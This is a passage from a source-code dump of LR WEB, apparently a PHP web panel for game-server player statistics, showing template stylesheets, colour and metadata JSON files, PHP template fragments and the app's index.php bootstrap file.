saturate(1%) hue-rotate(160deg) brightness(98%) contrast(90%); transition: .3s; } .navbar-icon i { font-size: 26px; color: #5D5D5D; transition: .3s; } .navbar-icon:hover i { color: #fff; transition: .3s; } .navbar-icon:hover img { filter: invert(100%) sepia(0%) saturate(2%) hue-rotate(119deg) brightness(114%) contrast(100%); transition: .3s; } #notes { z-index: 10000000; } .sidebar-right { transition: .3s; transform: translate(0px, 72px); z-index: 9999; -webkit-transform: translate(0px, 72px); -moz-transform: translate(0px, 72px); -ms-transform: translate(0px, 72px); -o-transform: translate(0px, 72px); } .unshow { transition: .3s; transform: translate(220px, 72px) !important; display: block; -webkit-transform: translate(220px, 72px) !important; -moz-transform: translate(220px, 72px) !important; -ms-transform: translate(220px, 72px) !important; -o-transform: translate(220px, 72px) !important; } ================================================ FILE: app/templates/default_dark/assets/js/app.js ================================================ ================================================ FILE: app/templates/default_dark/colors.json ================================================ { "--bg-color": "#222222", "--navbar-color": "#121212", "--sidebar-color": "#272727", "--sidebar-gradient-1": "#68d9ff", "--sidebar-gradient-2": "#6262ff", "--item-color": "#fff", "--default-text-color": "#fff", "--top-text-color": "#737373", "--default-text-color-invert": "#111", "--hover": "#2f2f2f", "--table-line": "#515151", "--svg": "100", "--font-weight-0": "400", "--font-weight-1": "500", "--font-weight-2": "500", "--font-weight-3": "600", "--font-weight-4": "700", "--span-color": "#6262ff", "--span-color-addit": "#96e4ff", "--span-color-back": "#362e98", "--server-graph-rgba": "98, 98, 255, 1" } ================================================ FILE: app/templates/default_dark/description.json ================================================ { "name": "Переделанный шаблон LR WEB", "version": "1.0", "author": "Flames && designed PEPSIMAX ♕#6171" } ================================================ FILE: app/templates/default_dark/interface/container.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ ?> ================================================ FILE: app/templates/default_dark/interface/head.php ================================================ > get_balance(); if( $balance && $Modules->route != "lk" ) $Modules->set_user_info_text($Translate->translate('module_page_lk_impulse','_Balance').': '.$Translate->translate('module_page_lk_impulse','_AmountCourse').' '.$balance.''); ?> ================================================ FILE: app/templates/default_dark/interface/navbar.php ================================================
    ================================================ FILE: app/templates/default_dark/interface/sidebar.php ================================================ user_auth ) ): ?>
    get_translate_phrase( $Auth->user_auth[0]['rank'], 'ranks_' . $Auth->server_info[ 0 ]['ranks_pack'] )?>
    user_rank_count; ++$d ):?>
    get_translate_phrase( $Auth->user_auth[$d]['rank'], 'ranks_' . $Auth->server_info[ 0 ]['ranks_pack'] )?>
    get_translate_phrase('_Home')?>
    arr_module_init['sidebar'] ); $d < $c; $d++ ): if( ! empty( $Modules->array_modules[ $Modules->arr_module_init['sidebar'][ $d ] ]['sidebar'] ) ): for ( $_d = 0, $_c = sizeof( $Modules->array_modules[ $Modules->arr_module_init['sidebar'][ $d ] ]['sidebar'] ); $_d < $_c; $_d++ ):?>
    "> array_modules[ $Modules->arr_module_init['sidebar'][ $d ] ]['sidebar'][ $_d ]['name'], 0, 1) == '_') { if ($Translate->translate( $Modules->arr_module_init['sidebar'][ $d ],$Modules->array_modules[ $Modules->arr_module_init['sidebar'][ $d ] ]['sidebar'][ $_d ]['name']) == 'No Translation'){ print $Translate->get_translate_phrase($Modules->array_modules[ $Modules->arr_module_init['sidebar'][ $d ] ]['sidebar'][ $_d ]['name']); } else { print $Translate->translate( $Modules->arr_module_init['sidebar'][ $d ], $Modules->array_modules[ $Modules->arr_module_init['sidebar'][ $d ] ]['sidebar'][ $_d ]['name']); } }else{ print $Modules->array_modules[ $Modules->arr_module_init['sidebar'][ $d ] ]['sidebar'][ $_d ]['name']; }?>
    arr_general['steam_only_authorization'] == 0 ):?> ================================================ FILE: app/templates/default_navbar/assets/css/css_library/animations/1.css ================================================ .global-container { transition: transform .5s ease-in-out, margin .5s ease-in-out } .offcanvas { transition: transform .5s ease-in-out, margin .5s ease-in-out } [data-tooltip]:before, [data-tooltip]:after, .tooltip:before, .tooltip:after { -webkit-transition: opacity 0.2s ease-in-out, visibility 0.2s ease-in-out, -webkit-transform 0.2s cubic-bezier(.71, 1.7, .77, 1.24); -moz-transition: opacity 0.2s ease-in-out, visibility 0.2s ease-in-out, -moz-transform 0.2s cubic-bezier(.71, 1.7, .77, 1.24); transition: opacity 0.2s ease-in-out, visibility 0.2s ease-in-out, transform 0.2s cubic-bezier(.71, 1.7, .77, 1.24); } ================================================ FILE: app/templates/default_navbar/assets/css/css_library/badge_type/1.css ================================================ .badge { display: inline-block; padding: .35em .6em; font-size: 75%; font-weight: 500; line-height: 1; text-align: center; white-space: nowrap; vertical-align: baseline; transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out; fill: #ffffff; color: #ffffff; background-color: var(--span-color); box-shadow: 0 1px 2px 0 rgba(0,0,0,.16), 0 2px 10px 0 rgba(0,0,0,.12); } .badge a { fill: #ffffff; color: #ffffff; } ================================================ FILE: app/templates/default_navbar/assets/css/css_library/badge_type/2.css ================================================ .badge { display: inline-block; padding: .35em .6em; font-size: 75%; font-weight: 500; line-height: 1; text-align: center; white-space: nowrap; vertical-align: baseline; transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out; fill: #ffffff; color: #ffffff; background-color: var(--span-color); box-shadow: var(--span-color-back) 5px 5px; } .badge a { fill: #ffffff; color: #ffffff; transition-duration: 400ms; } ================================================ FILE: app/templates/default_navbar/assets/css/css_library/form_border/0.css ================================================ .badge { border: 0px solid transparent; border-radius: 0px; } .card { border: 0px solid transparent; border-radius: 0px; } .tooltip-left:after, .tooltip-right:after, .tooltip-top:after { border: 0px solid transparent; border-radius: 0px; } ================================================ FILE: app/templates/default_navbar/assets/css/css_library/form_border/1.css ================================================ .badge { border: 0px solid transparent; border-radius: 2px; } .card { border: 0px solid transparent; border-radius: 4px; } .tooltip-left:after, .tooltip-right:after, .tooltip-top:after { border: 0px solid transparent; border-radius: 2px; } ================================================ FILE: app/templates/default_navbar/assets/css/style.css ================================================ @import url('http://fonts.cdnfonts.com/css/montserrat'); ::-webkit-scrollbar-thumb{ border-width:1px 1px 1px 2px; background-color: var(--table-line); } ::-webkit-scrollbar-thumb:hover{ border-width: 1px 1px 1px 2px; border-color: var(--table-line); background-color: var(--table-line); } ::-webkit-scrollbar-track{ border-width:0; } ::-webkit-scrollbar-track:hover{ background-color: var(--sidebar-color); } /* * Nav блоки */ .navbar { top: 0; left: 0; min-width: 100%; position: fixed; display: flex; flex-wrap: wrap; align-items: center; min-height: 56px; max-height: 56px; background-color: var(--navbar-color); box-shadow: 0 1px 5px rgba(0, 0, 0, 0.2); z-index: 100; justify-content: space-between; padding: .5rem 1rem; } .navbar>.container, .navbar>.container-fluid { display: flex; flex-wrap: wrap; align-items: center; justify-content: space-between } .nav-toggle:active, .nav-toggle:focus, .nav-toggle:hover { outline: 0; border-bottom: none; } .nav-toggle i { position: relative; display: inline-block; width: 25px; height: 2px; color: var(--item-color); font: bold 14px/.4 Helvetica; text-transform: uppercase; text-indent: -55px; background: var(--item-color); transition: all .2s ease-out } .nav-toggle i::after, .nav-toggle i::before { content: ''; width: 25px; height: 2px; background: var(--item-color); position: absolute; left: 0; transition: all .2s ease-out } .nav-toggle i::before { top: -7px } .nav-toggle i::after { bottom: -7px } .nav-toggle:hover i::before { top: -10px } .nav-toggle:hover i::after { bottom: -10px } .nav-toggle { position: absolute; left: 8px; top: 0px; padding: 13px 0 0 0; display: block; margin: 0 auto; height: 55px; width: 44px; z-index: 2001; border-bottom: none; text-align: center; cursor: pointer; text-decoration: none; } .nav { display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; padding-left: 0; margin-bottom: 0; list-style: none; } .nav-tabs .nav-item { margin-bottom: -1px; } .nav-link { display: block; } .a-type:hover { background-color: var(--hover); cursor: pointer; color: var(--span-color); } .a-type a:hover { background-color: var(--hover); cursor: pointer; color: var(--span-color); } .footer { margin-top: 1rem; margin-bottom: 1rem; color: var(--default-text-color); font-size: 12px; font-weight: var(--font-weight-2); } .logo-area { max-height: 59px; max-width: 270px; z-index: 99; } .logo-area img { position: absolute; max-width: 190px; max-height: 40px; top: 10px; } .right-area { display: inline-block; position: fixed; float: right; right: 6px; } .right-area ul { padding-left: 20px; } .right-area li { float: right; padding: 10px; } .right-area svg, .right-area img { margin-bottom: 2px; height: 15px; }.right-area .subsection svg, .right-area .subsection img { margin-bottom: 2px; height: 18px; } .navbar-icon svg, .navbar-icon img { filter: invert(var(--svg)); } .search i { margin-top: 1.9px; font-size: 1.35em; color: var(--default-text-color); } .search_form { width: 270px; padding: 16px; } .search_form .input-form { margin-bottom: 15px; } .section .subsection { position: absolute; right: 10px; top: 50px; border-radius: 0; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.2); background: var(--sidebar-color); list-style: none; -webkit-transition: all 0.25s; transition: all 0.25s; visibility: hidden; min-width: 150px; text-align: left; margin: 0; opacity: 0; padding: 0; } .section:hover .subsection, .sh:hover .subsection { opacity: 1; top: 100%; visibility: visible; } .section .subsection li { width: 100%; border-bottom: 1px solid var(--hover); padding: 4px 10px; } .section .subsection a { color: var(--default-text-color); display: inline-block; line-height: 1.2em; padding: 5px 0; text-decoration: none; } .main-sidebar { background: var(--sidebar-color); box-shadow: 1px 0px 20px rgba(255, 255, 255, 0.2); } .sidebar-menu li:hover { color: var(--default-text-color); background-color: var(--hover); } .sidebar-menu>li>a { color: var(--default-text-color); } .table-active { color: var(--default-text-color); background-color: var(--hover); } .user-details span a { color: var(--default-text-color); } .user-details span a:hover { color: var(--hover); } .user-details span { color: #111111; } .user-rank>i { color: #111111; } .treeview-menu>li>a { color: #111111 } .select-panel-pages { float: right; margin-top: 10px; margin-bottom: 10px; margin-right: 25px; } .select-panel-table { display: inline-block; margin-left: 25px; } .select-panel select { color: #ffffff; border-top: 0; border-left: 0; border-right: 0; border-bottom: 0; background: transparent; border-image: none; outline-color: transparent; box-shadow: none; } .select-panel select option { font-weight: var(--font-weight-2); font-size: 13px; color: var(--default-text-color); background: var(--sidebar-color); } .button{ font-weight: var(--font-weight-2); font-size: 12px; margin-top: 10px; padding-left: 14px; padding-right: 14px; color: #FFF; background-color: var(--span-color); border: none; cursor: pointer; -ms-touch-action: manipulation; touch-action: manipulation; background-image: none; text-align: center; line-height: 26px; vertical-align: middle; user-select: none; outline: none; float: right; } .input-form input { font-size: 15px; font-weight: var(--font-weight-2); color: var(--default-text-color); background-color: inherit; -webkit-transition: border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out; -o-transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out; border-bottom: 2px solid var(--table-line); width: 100%; } .input-form .input_text { color: var(--top-text-color); font-size: 12px; font-weight: var(--font-weight-2); } .input-form input:focus:not([readonly]) { border-bottom: 2px solid var(--span-color); } .input-form label { float: left; white-space: nowrap; width: 19%; margin-right: 20px; } .input-form select { cursor: pointer; white-space: nowrap; text-align: left; outline: none; color: var(--default-text-color); background-color: inherit; height: 24px; width: 100%; -moz-appearance: none; -webkit-appearance: none; border: none; border-bottom: 2px solid var(--table-line); font-weight: var(--font-weight-2); font-size: 15px; } .input-form select:focus:not([readonly]) { border-bottom: 2px solid var(--span-color); } .input-form select option { border: none; outline: none; background-color: var(--sidebar-color); font-weight: var(--font-weight-2); } .badge img{ filter: invert(var(--svg)); } .modal-window { position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 999; opacity: 0; pointer-events: none; transition: all 0.3s; } .modal-window .card { border: 1px solid var(--default-text-color); border-radius: 2px; } .modal-window:target { opacity: 1; pointer-events: auto; } .modal-window > div { width: 400px; position: absolute; top: 50%; left: 50%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); background: var(--sidebar-color); } .login_form{ padding-left:18px; padding-right:18px; padding-bottom: 18px; } .no_steam{ float: right; margin-bottom: 16px; } .login_form > .input-form{ margin-bottom: 15px; } .modal-close { position: absolute; right: 15px; color: #aaa; text-align: center; width: 40px; text-decoration: none; } .modal-close img{ width: 20px; height: 20px; } .modal-close:hover { color: var(--default-text-color); } .btn_form { margin-top: .375rem; margin-right: .375rem; margin-bottom: .375rem; } .btn { cursor: pointer; white-space: nowrap; text-align: center; padding: 6px 15px; outline: none; font-weight: 400; font-size: .81rem; background: var(--span-color); color: #fff; border-radius: 2px; box-shadow: 0 2px 5px 0 rgba(0,0,0,.16), 0 2px 10px 0 rgba(0,0,0,.12); word-wrap: break-word; } .sidebar-right { margin-top: 56px; top: 0; right: 0; height: 100%; position: fixed ; width: 220px; z-index: 2; background: var(--sidebar-color); box-shadow: 0 0 10px rgba(0, 0, 0, .1); } .sidebar-right .user-sidebar-right-block { background: linear-gradient(45deg,var(--sidebar-gradient-2),var(--sidebar-gradient-1)); } .sidebar-right .info { align-items: center; display: flex; padding-left: 18px; padding-top: 8px; padding-bottom: 8px; color: #111; } .sidebar-right .details { font-size: 14px; font-weight: 600; } .sidebar-right .details .admin_type { font-weight: 600; font-size: 14px; } .sidebar-right .details .admin_rights { font-weight: 600; font-size: 10px; } .card_info_block{ display:none; background: var(--sidebar-color); height:180px; width:300px; } tr th a:hover .card_info_block{ position: absolute; display:block; margin-right: auto; margin-left: auto; margin-top: -200px; } .sidebar-offcanvas-desktop { display: none } .sidebar-menu .sidebar-icon { margin-right: 0; display: inline-block } .sidebar-menu .sidebar-icon img, .sidebar-menu .sidebar-icon svg { margin-left: 2px; height: 20px; filter: invert(var(--svg)) } .sidebar-menu .sidebar-icon i { font-size: 1.52em; color: invert(var(--svg)) } .sidebar-menu .item-name { position: absolute; top: 18px; left: 54px; display: inline-block } .sidebar-menu > li.active:after { content: ""; display: block; width: 5px; height: 100%; background: #222; position: absolute; right: 0; bottom: 0 } .sidebar-menu { height: 100%; list-style: outside none none; padding: 0; overflow-y: auto; overflow-x: hidden; white-space: nowrap } .sidebar-menu > li > a { text-decoration: none; display: block; padding-left: 17px; padding-top: 15px; padding-bottom: 15px; font-size: 12px; font-weight: 600; position: relative } .user-info { align-items: center; display: flex; padding-left: 18px; padding-top: 8px; padding-bottom: 8px } .user-sidebar-block { background: linear-gradient(45deg, var(--sidebar-gradient-1), var(--sidebar-gradient-2)) } .user-info a img { left: 77px; width: 50px; height: 50px; border-radius: 50%; vertical-align: bottom; border: 3px solid #fff } .user-info img { left: 77px; width: 50px; height: 50px; border-radius: 50%; vertical-align: bottom; border: 3px solid #fff } .user-rank { align-items: center; display: flex; padding-left: 18px; padding-bottom: 10px; position: relative } .rank_img { text-align: center; width: 20%; } .user-rank-more { align-items: center; display: flex; padding-left: 18px; padding-top: 10px; padding-bottom: 10px; position: relative } .user-rank img { max-width: 50px; max-height: 20px } .user-rank-more img { max-width: 50px; max-height: 20px } .user-details { font-size: 14px; font-weight: 600 } .user-rank .icon-down { position: absolute; top: -2px; right: 8px } .user-rank .icon-down img, .user-rank .icon-down svg { width: 22px; height: 22px; filter: var(--svg) } .user-rank .icon-down i { font-size: 1.52em; color: #111; } .user-details span { display: table; margin-left: 10px; margin-bottom: 3px; white-space: nowrap; font-weight: 600; font-size: 11px; text-decoration: none } .user-details span a { font-weight: 600; font-size: 13px; text-decoration: none } .user-details .user_name { font-weight: 600; font-size: 14px } .user-details .user_text { margin-bottom: 0px; } .user-details ._logout { position: absolute; top:12px; right: 15px; font-weight: 600; font-size: 14px } .rank-details { font-size: 12px; font-weight: 600; margin-left: 10px; color: #111111; } .rank-mini-li > a { text-decoration: none } .main-sidebar { margin-top: 56px; top: 0; left: 0; height: 100%; position: fixed; width: 270px; z-index: 2; overflow-y:auto; padding-bottom: 58px; box-shadow: 0 0 10px rgba(0, 0, 0, .1) } .global-container { margin-left: 0px !important; } @media (max-width: 1025px) { .global-container { margin-left: 0 } .main-sidebar { margin-top: 56px; -webkit-transform: translate(-330px, 0); -ms-transform: translate(-330px, 0); -o-transform: translate(-330px, 0); transform: translate(-330px, 0) } .sidebar-open .swipe-area { -webkit-transform: translate(270px, 0); -ms-transform: translate(270px, 0); -o-transform: translate(270px, 0); transform: translate(270px, 0) } .swipe-area { margin-top: 58px; top: 0; left: -12px; min-height: 100%; position: fixed; width: 30px; z-index: 2 } .sidebar-open .swipe-area { -webkit-transform: translate(270px, 0); -ms-transform: translate(270px, 0); -o-transform: translate(270px, 0); transform: translate(270px, 0) } .sidebar-open .main-sidebar { overflow-y: auto; -webkit-transform: translate(0, 0); -ms-transform: translate(0, 0); -o-transform: translate(0, 0); transform: translate(0, 0) } } .lng-dropdown { display: none } .treeview-menu { display: none; list-style: outside none none; margin: 0; width: 100%; } .user-rank > i { position: absolute; right: 21px; margin-top: 2px } .notification { position: relative; } .notification span { position: absolute; top: -5px; left: 13px; color: #fff; background: var(--span-color); border-radius: 100%; padding-top: 2px; width: 17px; height: 17px; font-size: 9px; text-align: center; display: none; } .main_notifications { padding-left: unset; } .main_notifications a { width: 100%; } .notifications-item .icon { font-size: 20px; color: var(--span-color); } .notifications-item .text { font-size: 12px; } .navbar-content > a > img, .navbar-chlen > a > img { width: 1.28571429em; filter: invert(100%) sepia(0%) saturate(0%) hue-rotate(93deg) brightness(103%) contrast(103%); } .navbar-content { display: flex; text-align: center; position: relative; margin: 0 auto; flex-wrap: nowrap; } .navbar-content > a { margin: 0 7px; color: var(--default-text-color); font-weight: bold; } .navbar-chlen { position: absolute; top: 36.2px; width: 100%; margin: 0; left: 0px; margin-top: 20px; background: var(--span-color); text-align: center; padding: 15px; } .navbar-chlen > a { color: var(--default-text-color); font-weight: bold; margin: 0 11px; } .container-fluid { padding-top: 110px; } .sidebar-open-icon { display: none; } @media (max-width: 1280px) { .navbar-chlen.navbar-content-open, .navbar-content.navbar-content-open { display: flex; box-shadow: 0px 9px 10px -6px var(--default-text-color-invert); } .navbar-chlen, .navbar-content { display: none; left: -16px; flex-wrap: nowrap; flex-direction: column; align-items: flex-start; background: var(--navbar-color); } .sidebar-open-icon { display: block; font-size: 25px; padding: 5px; cursor: pointer; color: var(--default-text-color); transition: .3s; position: absolute; top: 5px; } .logo-area img { left: 60px; } .container-fluid { padding-top: 59px; } .navbar-chlen { position: relative; top: 0; padding-top: 0; margin-top: 0; left: -16px; } .navbar-content { margin-left: 0; margin-top: 48px; padding: 15px; padding-bottom: 0; min-width: 84rem; left: -16px; width: 100%; background: var(--navbar-color); } .navbar-chlen > a, .navbar-content > a { margin: 6px 11px; font-size: 16px; } .navbar-chlen > a:after { display:block; content: ''; border-bottom: solid 3px #3f51b5; transform: scaleX(0); transition: transform 250ms ease-in-out; } .navbar-chlen > a:hover:after { transform: scaleX(1); transform-origin: 0% 50%; } } .auth-navbar-btn { display: inline-block; position: fixed; float: right; right: 50px; font-weight: bold; text-transform: uppercase; border-radius: 50px; background: var(--hover); padding: 5px 10px; color: var(--item-color); transition: .3s; } .auth-navbar-btn:hover { background: var(--span-color); transition: .3s; } #notes { bottom: 1em; top: unset; } .navbar-content > a:after { display:block; content: ''; border-bottom: solid 3px #3f51b5; transform: scaleX(0); transition: transform 250ms ease-in-out; } .navbar-content > a:hover:after { transform: scaleX(1); transform-origin: 0% 50%; } ================================================ FILE: app/templates/default_navbar/assets/js/app.js ================================================ $(document).on("click", "[data-sidebar-open]", (e) => { console.log($(e.target).data("sidebar-open")); if( $(e.target).data("sidebar-open") == true || typeof $(e.target).data("sidebar-open") == "undefined" ) { $(e.target).data("sidebar-open", false); $(".navbar-chlen").addClass("navbar-content-open"), $(".navbar-content").addClass("navbar-content-open"); } else { $(e.target).data("sidebar-open", true); $(".navbar-chlen").removeClass("navbar-content-open"), $(".navbar-content").removeClass("navbar-content-open"); } }); ================================================ FILE: app/templates/default_navbar/colors.json ================================================ { "--bg-color": "#2b2b2b", "--navbar-color": "#121212", "--sidebar-color": "#1f1f1f", "--sidebar-gradient-1": "#68d9ff", "--sidebar-gradient-2": "#6262ff", "--item-color": "#fff", "--default-text-color": "#fff", "--top-text-color": "#737373", "--default-text-color-invert": "#111", "--hover": "#262626", "--table-line": "#515151", "--svg": "100", "--font-weight-0": "400", "--font-weight-1": "500", "--font-weight-2": "500", "--font-weight-3": "600", "--font-weight-4": "700", "--span-color": "#6262ff", "--span-color-addit": "#96e4ff", "--span-color-back": "#362e98", "--server-graph-rgba": "98, 98, 255, 1" } ================================================ FILE: app/templates/default_navbar/description.json ================================================ { "name": "Стандартный шаблон LR WEB с навбаром", "version": "1.0", "author": "Flames" } ================================================ FILE: app/templates/default_navbar/interface/head.php ================================================ > ================================================ FILE: app/templates/default_navbar/interface/navbar.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ ?>
    ================================================ FILE: app/templates/default_navbar/interface/sidebar.php ================================================ ================================================ FILE: index.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ // Задаём основную кодировку страницы. header('Content-Type: text/html; charset=utf-8'); // Отключаем вывод ошибок. error_reporting(E_ALL); ini_set('display_errors', 0); ini_set('display_startup_errors', 0); // Ограничиваем время выполнения скрипта. set_time_limit(4); // Нахожение в пространстве LR. define('IN_LR', true); // Версия LR WEB. define('VERSION', '0.2.28'); // Основная директория вэб-приложения. define('APP', 'app/'); // Основная директория вэб-приложения. define('STORAGE', 'storage/'); // Директория содержащая основные блоки вэб-приложения. define('PAGE', APP . 'page/general/'); // Директория содержащая дополнительные блоки вэб-приложения. define('PAGE_CUSTOM', APP . 'page/custom/'); // Директория с модулями. define('MODULES', APP . 'modules/'); // Директория с шаблонами define('TEMPLATES', APP . 'templates/'); // Директория с основными конфигурационными файлами. define('INCLUDES', APP . 'includes/'); // Директория содержащая графические кэш-файлы. define('CACHE', STORAGE . 'cache/'); // Директория с ресурсами. define('ASSETS', STORAGE . 'assets/'); // Директория с основными кэш-файлами. define('SESSIONS', CACHE . 'sessions/'); // Директория содержащая логи. define('LOGS', CACHE . 'logs/'); // Директория содержащая изображения. define('IMG', CACHE . 'img/'); // Директория с CSS шаблонами. define('ASSETS_CSS', ASSETS . 'css/'); // Директория с JS библиотеками. define('ASSETS_JS', ASSETS . 'js/'); // Директория с изображениями рангов. define('RANKS_PACK', IMG . 'ranks/'); // Временные константы ( Постоянные времени ) - Минута. define('MINUTE_IN_SECONDS', 60); // Временные константы ( Постоянные времени ) - Час. define('HOUR_IN_SECONDS', 3600); // Временные константы ( Постоянные времени ) - День. define('DAY_IN_SECONDS', 86400); // Временные константы ( Постоянные времени ) - Неделя. define('WEEK_IN_SECONDS', 604800); // Временные константы ( Постоянные времени ) - Месяц. define('MONTH_IN_SECONDS', 2592000); // Временные константы ( Постоянные времени ) - Год. define('YEAR_IN_SECONDS', 31536000); // Регистраниция основных функций. require INCLUDES . 'functions.php'; // Создание/возобновление сессии. session_start(); // Включение буферизации. ob_start(); // Импортирование класса отвечающего за работу с языками и переводами. use app\ext\Translate; // Импортирование глобального класса отвечающего за работу с базами данных. use app\ext\Db; // Импортирование основного глобального класса. use app\ext\General; // Импортирование глобального класса отвечающего за работу с модулями. use app\ext\Modules; // Импортирование класса уведомлений. use app\ext\Notifications; // Импортирование глобального класса отвечающего за работу с авторизованными пользователями. use app\ext\Auth; // Импортирование графического класса. use app\ext\Graphics; //Использование роутера страницы use app\ext\AltoRouter; use app\ext\ErrorsHandler; // __autoload() spl_autoload_register( function( $class ) { $path = str_replace( '\\', '/', $class . '.php' ); file_exists( $path ) && require $path; } ); $ErrorsHandler = new ErrorsHandler; $ErrorsHandler->setErrors(); // Создание экземпляра класса работающего с языками и переводами. $Translate = new Translate; // Создание экземпляра класса работающего с базами данных. $Db = new Db; // Создание экземпляра класса уведомлений. $Notifications = new Notifications ( $Translate, $Db ); // Создание основного экземпляра класса. $General = new General ( $Db ); // Импортирование класса с роутингом $Router = new AltoRouter; empty( $General->arr_general['site'] ) && $General->arr_general['site'] = '//' . preg_replace('/^(https?:)?(\/\/)?(www\.)?/', '', $_SERVER['HTTP_REFERER']); // Добавление корневого роута $Router->setBasePath( parse_url($General->arr_general['site'], PHP_URL_PATH)); // Создание экземпляра класса работающего с модулями. $Modules = new Modules ( $General, $Translate, $Notifications, $Router ); // Создание экземпляра класса работающего с авторизацией пользователей. $Auth = new Auth ( $General, $Db ); // Создание экземпляра графического класса. $Graphics = new Graphics ( $Translate, $General, $Modules, $Db, $Auth, $Notifications, $Router ); // Запуск счетчика переходов(поситителей) $General->online_stats(); ================================================ FILE: storage/assets/css/style.css ================================================ /* * Описываем дефолты */ html { box-sizing: border-box; scroll-behavior: smooth; overflow-y: scroll; line-height: 1.15; -webkit-text-size-adjust: 100%; } body { font-family: 'Montserrat', sans-serif; font-weight: var(--font-weight-1); font-size: 15px; margin: 0; height: 100%; line-height: 1.5; text-align: left; padding-right: 0; background-color: var(--bg-color); background-size: cover; background-attachment:fixed; background-repeat: no-repeat; color: var(--default-text-color); } *, *::before, *::after { box-sizing: inherit; } h1 { font-size: 2em; margin: 0.67em 0; } h1, h2, h3, h4, h5, h6 { color: var(--default-text-color); margin-top: 0; margin-bottom: .5rem; line-height: 1.2; } dl, ol, ul, ol ol, ol ul, ul ol, ul ul { margin-top: 0; margin-bottom: 0; padding: 0; } abbr[title] { border-bottom: none; text-decoration: underline; text-decoration: underline dotted; } svg { overflow: hidden; vertical-align: middle; } a { color: var(--span-color); text-decoration: none; background-color: transparent; -webkit-text-decoration-skip: objects; } span { color: var(--span-color); } b, strong { font-weight: bolder; } code, kbd, samp { font-family: monospace, monospace; font-size: 1em; } small { font-size: 80%; } sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline; } sub { bottom: -0.25em; } sup { top: -0.5em; } p { font-size: 13px; color: var(--default-text-color); } select { word-wrap: normal; border: none; } button, select { text-transform: none; } button, input, optgroup, select, textarea { margin: 0; font-family: inherit; font-size: inherit; line-height: inherit; outline: none; -webkit-box-shadow: none; box-shadow: none; border: none; -webkit-border-radius: 0; border-radius: 0; -webkit-box-sizing: content-box; box-sizing: content-box; } img { vertical-align: middle; border-style: none; } table { border: none; border-collapse: collapse; } th img { max-width: 61px; max-height: 24px } tbody th a{ color: var(--default-text-color); } [role=button], a, area, button, input, label, select, summary, textarea { -ms-touch-action: manipulation; touch-action: manipulation; } button, input, optgroup, select, textarea { font-family: inherit; font-size: 100%; line-height: 1.15; margin: 0; } button, input { overflow: visible; } button, select { text-transform: none; } button, [type="button"], [type="reset"], [type="submit"] { -webkit-appearance: button; } button::-moz-focus-inner, [type="button"]::-moz-focus-inner, [type="reset"]::-moz-focus-inner, [type="submit"]::-moz-focus-inner { border-style: none; padding: 0; } button:-moz-focusring, [type="button"]:-moz-focusring, [type="reset"]:-moz-focusring, [type="submit"]:-moz-focusring { outline: 1px dotted ButtonText; } fieldset { padding: 0.35em 0.75em 0.625em; } legend { box-sizing: border-box; color: inherit; display: table; max-width: 100%; padding: 0; white-space: normal; } progress { vertical-align: baseline; } textarea { overflow: auto; } [type="checkbox"], [type="radio"] { box-sizing: border-box; padding: 0; } [type=checkbox], [type=radio] { -webkit-box-sizing: border-box; box-sizing: border-box; padding: 0; } [type="number"]::-webkit-inner-spin-button, [type="number"]::-webkit-outer-spin-button { height: auto; } [type="search"] { -webkit-appearance: textfield; outline-offset: -2px; } [type="search"]::-webkit-search-decoration { -webkit-appearance: none; } ::-webkit-file-upload-button { -webkit-appearance: button; font: inherit; } details { display: block; } summary { display: list-item; } template { display: none; } li { list-style-type: none } hr { border: none; width: 232px; margin-top: 0; margin-bottom: 0; margin-left: 18px; box-sizing: content-box; height: 0; overflow: visible; } pre { font-family: monospace, monospace; font-size: 1em; } [hidden] { display: none; } /* * Цветовая палитра */ .color-red { color: #dc3545; } .color-green { color: #28a745; } .color-blue { color: #17a2b8; } /* * Описываем контейнер */ .global-container { display: block; margin-left: 270px; } .container-fluid { width: 100%; max-width: 1920px; padding-top: 59px; padding-right: 30px; padding-left: 17px; margin-right: auto; margin-left: auto; z-index: 0; } .container { width: 100%; padding-right: 15px; padding-left: 15px; margin-right: auto; margin-left: auto; } .row { display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; margin-right: -15px; margin-left: -15px; } .col-1, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col, .col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm, .col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md, .col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg, .col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl, .col-xl-auto { position: relative; margin-top: 1rem; width: 100%; padding-right: 1px; padding-left: 15px; } .col { -ms-flex-preferred-size: 0; flex-basis: 0; -ms-flex-positive: 1; flex-grow: 1; max-width: 100%; } .col-auto { -ms-flex: 0 0 auto; flex: 0 0 auto; width: auto; max-width: 100%; } .col-1 { -ms-flex: 0 0 8.333333%; flex: 0 0 8.333333%; 